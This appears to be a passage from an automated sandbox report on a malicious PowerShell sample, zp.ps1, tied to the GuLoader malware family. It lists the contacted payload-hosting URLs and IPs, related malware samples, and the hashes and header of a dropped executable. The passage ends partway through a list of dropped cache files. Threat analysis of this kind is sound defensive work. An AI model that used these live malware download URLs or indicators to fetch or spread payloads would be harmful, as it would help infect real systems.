http://www.bluiblmaxxlasiblr.com/rh/List%20of%20riblquiribld%20itiblms%20and%20siblrvicibls.pdf	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dld.ae	84.16.234.51	true	false	unknown
www.bluemaxxlaser.com	203.175.174.69	true	false	unknown
www.dld.ae	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.dld.ae/zp/zp.exe	false	Avira URL Cloud: safe	unknown
http://www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.614964683.000002D26D462000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.614964683.000002D26D31F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micrp	powershell.exe, 00000000.00000002.621608396.000002D275760000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	iqb3.bat, iqb3.bat, 00000002.00000002.751821324.0000000000409000.00000004.00000001.01000000.0000000A.sdmp, iqb3.bat, 00000002.00000000.492453132.0000000000409000.00000008.00000001.01000000.0000000A.sdmp, iqb3.bat.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.coP	powershell.exe, 00000000.00000002.620400615.000002D275472000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000000.00000002.530639507.000002D25ED89000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: safe	unknown
http://www.bluemaxxlaser.com	powershell.exe, 00000000.00000002.530639507.000002D25E3DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.530639507.000002D25E3CD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.614964683.000002D26D462000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.614964683.000002D26D31F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.bluemaxxlaser.comx	powershell.exe, 00000000.00000002.530639507.000002D25E3CD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://jimmac.musichall.czif	text-x-generic-template.png.2.dr	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	iqb3.bat, 00000002.00000002.751821324.0000000000409000.00000004.00000001.01000000.0000000A.sdmp, iqb3.bat, 00000002.00000000.492453132.0000000000409000.00000008.00000001.01000000.0000000A.sdmp, iqb3.bat.0.dr	false		high
http://www.bluiblmaxxlasiblr.com/rh/List%20of%20riblquiribld%20itiblms%20and%20siblrvicibls.pdf	powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp, zp.ps1	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.530639507.000002D25D2B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.530639507.000002D25D4B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dld.ae	powershell.exe, 00000000.00000002.530639507.000002D25DCB7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
203.175.174.69	www.bluemaxxlaser.com	Singapore		24482	SGGS-AS-APSGGSSG	false
84.16.234.51	dld.ae	Germany		28753	LEASEWEB-DE-FRA-10DE	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	879709
Start date and time:	2023-06-01 12:13:12 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	zp.ps1
Detection:	MAL
Classification:	mal60.winPS1@13/63@3/3
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 84.9% (good quality ratio 83.3%) Quality average: 87.4% Quality standard deviation: 22.4%
HCA Information:	Successful, ratio: 99% Number of executed functions: 59 Number of non-executed functions: 34
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): WMIADAP.exe
Excluded IPs from analysis (whitelisted): 2.21.22.155, 2.21.22.179, 23.36.224.131
Excluded domains from analysis (whitelisted): ssl.adobe.com.edgekey.net, armmf.adobe.com, acroipm2.adobe.com.edgesuite.net, e4578.dscb.akamaiedge.net, a122.dscd.akamai.net, acroipm2.adobe.com
Execution Graph export aborted for target powershell.exe, PID 4792 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:14:18	API Interceptor	44x Sleep call for process: powershell.exe modified
12:14:44	API Interceptor	3x Sleep call for process: RdrCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.175.174.69	zpeu.exe	Get hash	malicious	GuLoader	Browse	bluemaxxlaser.com/rh/rheu.bin
203.175.174.69	as.ps1	Get hash	malicious	GuLoader	Browse	www.bluemaxxlaser.com/rh/List%20of%20required%20items%20and%20services.pdf
84.16.234.51	as.ps1	Get hash	malicious	GuLoader	Browse
84.16.234.51	RFQ - Scan36711006.exe	Get hash	malicious	AgentTesla, zgRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.bluemaxxlaser.com	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SGGS-AS-APSGGSSG	zpeu.exe	Get hash	malicious	GuLoader	Browse	203.175.174.69
	as.ps1	Get hash	malicious	GuLoader	Browse	203.175.174.69
	Fe7MaP3DNP.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	Demon.x86.elf	Get hash	malicious	Unknown	Browse	103.14.247.55
	tebjuOp0kK.elf	Get hash	malicious	Mirai	Browse	103.14.247.35
	7Hhy4dfkst.elf	Get hash	malicious	Mirai	Browse	103.14.247.31
	5HzazUnnF6.elf	Get hash	malicious	Mirai	Browse	103.14.247.75
	4M3ACl2k2v.elf	Get hash	malicious	Unknown	Browse	103.14.247.47
	wget.elf	Get hash	malicious	Unknown	Browse	103.14.247.29
	chB6z5L2GD.elf	Get hash	malicious	Mirai	Browse	103.14.247.10
	86iDRbpkXb.elf	Get hash	malicious	Mirai	Browse	103.14.247.72
	yC34ftIroi.elf	Get hash	malicious	Mirai	Browse	103.14.247.68
	http://singaporeoptometricassociation.com/	Get hash	malicious	Unknown	Browse	203.175.162.79
	PiuV0y8Fw8.elf	Get hash	malicious	Mirai	Browse	103.14.247.49
	BvZi2Dj3LS.elf	Get hash	malicious	Mirai	Browse	103.14.247.26
	q44S0kQ3wZ.exe	Get hash	malicious	AgentTesla, Vidar	Browse	203.175.174.68
	SecuriteInfo.com.Win32.PWSX-gen.18409.25600.exe	Get hash	malicious	AgentTesla	Browse	203.175.168.182
	#U260e#Ufe0f E-Fax-Invoice.htm	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	https://faxcorporation1.od2.vtiger.com/pages/new_fax_receieved	Get hash	malicious	HTMLPhisher	Browse	203.175.162.6
	aJF1hL1hAJ.dll	Get hash	malicious	Wannacry	Browse	124.6.37.129

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	as.ps1	Get hash	malicious	GuLoader	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	Cobro_Juridico_Historial_de_pago.vbs	Get hash	malicious	Njrat, PasteDownloader	Browse	84.16.234.51
	PO20230247.xla.xlsx	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.ps1	Get hash	malicious	Unknown	Browse	84.16.234.51
	main.ps1	Get hash	malicious	KDOT TOKEN GRABBER	Browse	84.16.234.51
	AEJR1569.js	Get hash	malicious	NetSupport RAT	Browse	84.16.234.51
	https://docs.google.com/drawings/d/1yyXXrwkMe93YDIykPC-d3JWZ3X37agPJMgGC3eIiv0w/preview	Get hash	malicious	HTMLPhisher	Browse	84.16.234.51
	npp.8.5.3.Installer.x64342423423423424242423423424.bat	Get hash	malicious	Unknown	Browse	84.16.234.51
	Pagamento.js	Get hash	malicious	Clipboard Hijacker, Quasar	Browse	84.16.234.51
	rBillofLading05-25-2023.exe	Get hash	malicious	AveMaria	Browse	84.16.234.51
	SCAN_DOC_003930_doc.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	02705399.exe	Get hash	malicious	Unknown	Browse	84.16.234.51
	HIOY0568.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	Voucher_Booking_Reservation_Detail_09888846348.vbs	Get hash	malicious	AsyncRAT	Browse	84.16.234.51
	06472899.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51
	file.js	Get hash	malicious	Unknown	Browse	84.16.234.51

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsaB4A6.tmp\System.dll	36819.exe.doc	Get hash	malicious	GuLoader	Browse
	E-dekont_pdf.exe	Get hash	malicious	FormBook	Browse
	E-dekont_pdf.exe	Get hash	malicious	Unknown	Browse
	od2DVGA5N3.exe	Get hash	malicious	GuLoader	Browse
	od2DVGA5N3.exe	Get hash	malicious	GuLoader	Browse
	Ziraat_Bankasi_Swift_Mesaji_pdf_(2).exe	Get hash	malicious	GuLoader	Browse
	Ziraat_Bankasi_Swift_Mesaji_pdf_(2).exe	Get hash	malicious	GuLoader	Browse
	file.exe	Get hash	malicious	Azorult, GuLoader	Browse
	file.exe	Get hash	malicious	GuLoader	Browse
	rZiraatBankasiSwiftMesaji_pdf.exe	Get hash	malicious	GuLoader	Browse
	rZiraatBankasiSwiftMesaji_pdf.exe	Get hash	malicious	GuLoader	Browse
	E-dekont_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse
	E-dekont_pdf.exe	Get hash	malicious	GuLoader	Browse
	E-dekont_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse
	dekont.exe	Get hash	malicious	Azorult, GuLoader	Browse
	E-dekont_pdf.exe	Get hash	malicious	GuLoader	Browse
	dekont.exe	Get hash	malicious	GuLoader	Browse
	E-dekont_pdf.exe	Get hash	malicious	FormBook, GuLoader	Browse
	E-dekont_pdf.exe	Get hash	malicious	GuLoader	Browse
	SPL9015280.exe	Get hash	malicious	Azorult, GuLoader	Browse

Created / dropped Files

C:\Users\Public\iqb3.bat

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	535909
Entropy (8bit):	6.217350560053726
Encrypted:	false
SSDEEP:	12288:Og0GDb777P77oF77PfI7szHhS+K+E7BoIJIuByPe6WZV9buv3mD:GLK9IQyPc396vWD
MD5:	849ACB6881494898FF4A18A4A0FBDB43
SHA1:	1D7FE1693E30DEB8EC2D4F2DC04E7C083FD53AB3
SHA-256:	F069F56E5597954DCE10AFF5FDAEF9D3BA60BF8EBD996793C47193ECAFBA4481
SHA-512:	B7A75C27FD7AA8BB6384277EDA73479DF6B49C2C61A1CFA8D458809B787FBF46BBE72F44E9599C82CBED99FC11C53C3B59072BEBE37953366932B88AD5DD0ACF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..iu..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....oS.................\...........2.......p....@..........................................................................s.......P...............................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data...............r..............@....ndata.......@...........................rsrc........P.......v..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\05349744be1ad4ad_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	205
Entropy (8bit):	5.6159222568163845
Encrypted:	false
SSDEEP:	3:m+lvns8RzYOCGLvHkWBGKuKjXKLNjKLuV1+6hyhMktDBiTFJrqzOJkvP5m1:men9YOFLvEWdM9Qw7hYltVi7Z+P41
MD5:	F1D25C8B80D82A3A940A680ECD959271
SHA1:	DBF93538057C574963CF184E6F58C53052066639
SHA-256:	B116FCF397C330F58B70DAB711CA21A0A344B4311CFFBDA438D66415B289179C
SHA-512:	58022F0C875E5D98B2A17E66B7E60E8966676049DE577D89148BECD29E39570BA36DFB65584057D08C8287A2257D8D5E3B68F0A00DBE50F627908ED12F0F15DA
Malicious:	false
Preview:	0\r..m......M..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/reviews/js/plugin.js ...D..[/....."#.Dm.A.;..A.A..Eo.........l............d.{v.^.G...d.W.:...P..k%..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0786087c3c360803_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.585008140737213
Encrypted:	false
SSDEEP:	3:m+lF9NX6v8RzYOCGLvHktWVLovoMktKlle98fZe/O+/rkwGhkg4m1:mi9NqEYOFLvEkBovoltp8Be7Ywcr1
MD5:	2D42354366D6EC6444266B34CC12E0EE
SHA1:	A950BA16DCD449E66CB7CF58F19F330635122099
SHA-256:	1C0741BC7591757B61FCE57F2B489A7A2ACF187FEB126B47675200888EACB44D
SHA-512:	1CDD7EED4522E37B88ABE2863388BA1427C8DC50F10642B8F7DA24AF7B5CB715AE6D8C92FFA962E1C419F3FCE2F6FFAC6E2740A8AF31F7865F5903EDE82FC8FF
Malicious:	false
Preview:	0\r..m............,....._keyhttps://rna-resource.acrobat.com/init.js ...,..[/....."#.D...;..A.A..Eo..................1.x.'.vI..*\|Z..o...+.4....0..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0998db3a32ab3f41_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	246
Entropy (8bit):	5.5884950283359185
Encrypted:	false
SSDEEP:	6:mMyEYOFLvEWdVFLBKFjVFLBKFlQhudwvgIltdot/RlUoSjGY1:DyeRVFAFjVFAFI/otZlUo6
MD5:	37661B4EA5B548C7FC4DD85B4D357891
SHA1:	2617AAD66B01E9F0BBCDB52E8C4729E41724CDB0
SHA-256:	1D41CEC37A8D20187E7E2FC6083BA87EE939CDC12EA29C10FC2EC018BF1C8DB9
SHA-512:	D83DB1B6E23EF0456820EF25351603612ED4020208CBA7AC64C73C628018CA975C6BAD6E77E7704EC746CB25F26FEF38728CFC8DCD12AB4BAE7690332EAC3DD5
Malicious:	false
Preview:	0\r..m......v...n......._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/selector.js .JuB..[/....."#.D..;.;..A.A..Eo........1..........hvDO.N.t@.....n.*...... ....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0ace9ee3d914a5c0_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	232
Entropy (8bit):	5.666649881214925
Encrypted:	false
SSDEEP:	6:mNtVYOFLvEWdFCi5RsNykoltplbuiWulHyA1:IbRkiDhjljWus
MD5:	C7EC1413A93E029BB59D72C6BAA9B74B
SHA1:	2347E12F4A6058F974CF3722BF0CCE2E8F523FE6
SHA-256:	E8136196C30373F6F20A9477AA552C3343C0E561BC46973471A7E1D4A1CB4434
SHA-512:	C0BE838F9F192D22505A35A1E40E4E374E79307A9AA7B0B5ABD63E1130D76DA2BB1C4620078FB66EED343983E078D9044F8CC0BD8DC951A65538A4B5251B0DD8
Malicious:	false
Preview:	0\r..m......h.....'....._keyhttps://rna-resource.acrobat.com/static/js/plugins/aicuc/js/plugins/rhp/exportpdf-rna-tool-view.js .C....[/....."#.D..l.;..A.A..Eo......p3.8..........8 P..a...R..Y....7.@..2Dm{..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\0f25049d69125b1e_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	210
Entropy (8bit):	5.571941014597752
Encrypted:	false
SSDEEP:	6:m+yiXYOFLvEWd7VIGXVumbAltbVyh9PT41:pyixRu7pV41T
MD5:	11DE5619BD600E5319C3FD75E9142EBB
SHA1:	6F1FEEE2530FC93A77280D56DE076C332178CE9E
SHA-256:	26FC923690D1DC18867AFE660283D9A12251087EB6EBD9F29A2232A0F5D1E040
SHA-512:	756D8C3C18A8A7C8A73FE20B29C4628E8F39C399F32942058844619135AFE86600B131BCB4E182E1017E3443F76D1BD32ED76912120BC63F63D05D0256470D0B
Malicious:	false
Preview:	0\r..m......R...kP]g...._keyhttps://rna-resource.acrobat.com/static/js/plugins/app-center/js/selector.js ..HC..[/....."#.D.(=.;..A.A..Eo..................k.Q.....-_..y.....O...>..1....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\230e5fe3e6f82b2c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	216
Entropy (8bit):	5.609925363128875
Encrypted:	false
SSDEEP:	3:m+lifll08RzYOCGLvHkWBGKuKjXKoyNjXKLuV+wKlfgBD1Mkt0BlYo2sZI8xeGvA:mvYOFLvEWdhwjQlwKu1ltK3ZIl6P41
MD5:	544FCD8A3846ACAF159916757DFAAC1B
SHA1:	9C01AA2863C7501CF0679B781B9C381284809F90
SHA-256:	854299F0157864057471647B4004BC815325FDFCD4A7C35FFA0D084259F2EC08
SHA-512:	377F591F795F591144FB9D43ACACC3910A9444220FD293568766852BAF015B2DC9AFD4882B6E27B9FB277884D3FC7A30BBDE40638F6824F18B554068E0EE36B0
Malicious:	false
Preview:	0\r..m......X.....V....._keyhttps://rna-resource.acrobat.com/static/js/plugins/sign-services-auth/js/plugin.js ..t?..[/....."#.D..$.;..A.A..Eo.......) u.........].>....uUf..N...k......c..l.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2798067b152b83c7_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	5.55609035441626
Encrypted:	false
SSDEEP:	3:m+lZd8RzYOCGLvHkWBGKuKjXKX7KoQRA/KVdKLuVDFe4qMktWtrcyxMtv9EWm1:mJYOFLvEWdGQRQOdQPltWlD6g1
MD5:	3BBE28D38343070C3F47B6D94708888D
SHA1:	2FB36F6D9B0443E93624CBB901E0D8C84B36F55B
SHA-256:	DBA7DCB237981DBA864A21A0AE02A1D9D7471D9E94A7E0E2D7B190D27FDD368D
SHA-512:	A83E3A5471FF1122BB7119EA91CB64B27CCC9313CBE8CA26A6CD033F95DF0E5BCF3A5DA36B7C16B942D3683E6F7635ACE7344309C22D133823CBE4D7389787AA
Malicious:	false
Preview:	0\r..m......Q..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/my-computer/js/plugin.js .*,D..[/....."#.Dff=.;..A.A..Eo......N._b..........c..y/L....\|y.n..C/I.....X7-ne.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\2a426f11fd8ebe18_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.603225108228782
Encrypted:	false
SSDEEP:	3:m+lLp08RzYOCGLvHkfaMMuVNlTkUoMktDlrQMWqg4nRb7om5m1:mOYOFLvECMLNlIUoltDlcuR/41
MD5:	F43B8CF2FDB7C8B305D5314F4037643F
SHA1:	2E0933D27356460DCB3F85759E0BF8D2982C86FD
SHA-256:	F6C728617EBFD0FFE2F92C447A6A4CBAB74766014EBBCCBC77FFCD61B757CF46
SHA-512:	9A1A2968FEFA91857BF443C32D96561CFB2D06430339D17FB21CF4C5010EAAD657CEFBF8E608F8BC7AC2C000ADD35FE5007C89A2E3B41FCC583412AB73766DA8
Malicious:	false
Preview:	0\r..m......3....<lb...._keyhttps://rna-resource.acrobat.com/base_uris.js ...,..[/....."#.D...;..A.A..Eo......8n.'.........y...L<?W.Xi..A\Q3...J.}...d..~G.A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\3a4ae3940784292a_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	214
Entropy (8bit):	5.535968560319436
Encrypted:	false
SSDEEP:	6:m4fPYOFLvEWdtuNOFlt+/pby0zBUKSAA1:pRro/pb
MD5:	B02DD7631E60820B6D586D3E0D2A0029
SHA1:	22C7CD4D6412DA317C0D61943789227173CA97E8
SHA-256:	8B8DE8E218563D82A13E2F02A4DEB6A28AC2F155521F73FA3148E1D96B9B31FD
SHA-512:	6A7C81B49115F5F9B93FD0B2D11AB3617D77581B474CDA9745724464F8F54557268982AE78E89F4DC88B97868FCEA744D9D55F456C0A4ACE7C5B0B9620BAB299
Malicious:	false
Preview:	0\r..m......V..........._keyhttps://rna-resource.acrobat.com/static/js/plugins/search-summary/js/selector.js ...D..[/....."#.D[.<.;..A.A..Eo........9.........Q..E.=....=h`t..t..3%A.F$..w..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\4a0e94571d979b3c_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	177
Entropy (8bit):	5.495962469739915
Encrypted:	false
SSDEEP:	3:m+l64HXlA8RzYOCGLvHkjXMLOWFvz+iO8doMktVHl+d1dn76KohyP5m1:md4HXXYOFLvEjMSWFvzlTdolt2jUdyPo
MD5:	8AAA0B3EC709C5A6420D9D261E34D520
SHA1:	292E2DC98BD874CAC30B36713C2F1626B76BADC0
SHA-256:	88943FAE22EFB2E2F0E4ECD580820170B6ABA96405B6EB0F493646BFA9B84F36
SHA-512:	48E170305C43224BF8C7132F67F2B73A52C3F22F52AFC4E2BE94EBDDCE29A416303F781B719DB8945C392106F78EA79C3C4AE5A68C79E4618D4229168E33AB28
Malicious:	false
Preview:	0\r..m......1......5...._keyhttps://rna-resource.acrobat.com/plugins.js ...,..[/....."#.D7..;..A.A..Eo.........j.........PU ....t^.....a.k..u.7.M.BW6#}..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\560e9c8bff5008d8_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	187
Entropy (8bit):	5.565263634729628
Encrypted:	false
SSDEEP:	3:m+lpSUlIv8RzYOCGLvHkWBGKuK2fKVLWeswKDS/MkteHl/lRUPqf9tsDMaPV44m1:mkl9YOFLvEWsfOLgG/lteHiPqVyM+VY1
MD5:	FC25F75B634920F33E1D1A3B133C87FC
SHA1:	D55FD2A7E1EE5665714BA7D780A4FC3CDB41C95D
SHA-256:	F2EA44FEF3C96DD9FF7B054A41458EA249D82145A77C149CFAA13213DA783616
SHA-512:	DC38712F12D7A74FE29C1B62E68A6F065B723527E0D946A91616C7C4BF9F71C481DFCC71CE81D18E8F76310179345244727E193A93F0062F11AE985AE77B073B
Malicious:	false
Preview:	0\r..m......;...I......._keyhttps://rna-resource.acrobat.com/static/js/desktop.js .F.;..[/....."#.D....;..A.A..Eo......l.1...........q.O...j....._y..L^z...?..@N..A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\56c4cd218555ae2b_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	244
Entropy (8bit):	5.620507343590826
Encrypted:	false
SSDEEP:	6:mt9YOFLvEWdVFLBKFjVFLBKFlyxsD4qltigtwSeKaT9pr1:URVFAFjVFAFjTogtwSeKaTL
MD5:	3A9E004320EABD484614A65D48339A6B
SHA1:	FB9D423CE4B86DE3E6EEB379E71D38FC2C536F1E
SHA-256:	30AC88F30CDD7C3DCDE8A0F9F3B8DDFFE82E285DB67FBA9ECC0AF46199B95DBE
SHA-512:	6713C9E70A9A4BC9FCA0FD4E376D51CC9626752B1F54C9A68FE7D09BC48F4C2E9EC8FED21845141CEB3017740C8D3532564EEC6070F838FBA7FF2F971C9C2255
Malicious:	false
Preview:	0\r..m......t...R.1<...._keyhttps://rna-resource.acrobat.com/static/js/plugins/tracked-send/js/plugins/tracked-send/js/home-view/plugin.js ..(D..[/....."#.DH.G.;..A.A..Eo........_B..............H...{...2../.k`..r4.C. .A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\6fb6d030c4ebbc21_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.512522683193306
Encrypted:	false
SSDEEP:	3:m+lx4F08RzYOCGLvHkWBGKuKjXKGBIEGdevA/KPWFvAsXTZ4qMktG/hyrpYFm1:ms2VYOFLvEWdvBIEGdeXuisjrltL11
MD5:	943C737A97836A4E4CEDE9D85F3D5B6C
SHA1:	F7B90E04088BE51272BEE33FDA6A47D3A6CECBE6
SHA-256:	A70B1189BF671601B7EBA7C4EFB1132044373427961D8CB7028A9EB5A54D27D3
SHA-512:	7725C4882569FDD28695F05A21B09F32BF16DBCA227C29489DFDE0934F37F5241FF2C800B163BDB7AB1A8E3AB16416DE2961A1511E28E214E893540105FB964D
Malicious:	false
Preview:	0\r..m......S...]......._keyhttps://rna-resource.acrobat.com/static/js/plugins/add-account/js/selector.js .@.B..[/....."#.Du.<.;..A.A..Eo......9.^..........A.o]@r..Q.....<w.....].n\....A..Eo..................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js\7120c35b509b0fae_0

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	202
Entropy (8bit):	5.645434370199556
Encrypted:	false
SSDEEP:	6:maVYOFLvEWdwAPCQV/3xltfX7xm7OhKlvA1:RbR16i/3TpLxmJ
MD5:	0B5AE2A10D9826E61D8E7EA01AD2E840
SHA1:	A1078D7E505816F42B6362195F151122448D94E6
SHA-256:	C2635D94F0CB4E5B2B365545F920AE4F1C92A2A6EB372AE67652A8FCE000C877
SHA-512:	05DC66DA69C13108E8AE192A315945299D7FEB11CCD4205248CF8050C29129237D06F6711E5EFAD96AB4956FC3CC70A80499F345B4B7D3A1BF96807C04E68F77
